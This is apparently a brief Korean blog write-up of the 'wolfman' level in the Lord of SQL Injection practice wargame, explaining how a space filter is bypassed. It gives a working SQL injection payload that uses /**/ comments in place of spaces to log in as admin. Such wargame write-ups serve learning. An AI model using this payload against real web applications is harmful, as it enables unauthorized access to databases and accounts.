[Lord of SQL injection] wolfman

마흔세 번째 글.

 

 

1. 코드 분석

공백을 필터링하고 있었고 result의 id가 admin이면 문제가 풀리게 된다.

 

 

2. Exploit

공백을 우회하는 방법은 매우 많다.(Reference 참고)

 

?pw=?pw='/**/or/**/id='admin'%23

나는 주석을 이용하였다.

 

 

ㄲ

 

 

Reference

https://posix.tistory.com/42 //공백우회

https://portswigger.net/support/sql-injection-bypassing-common-filters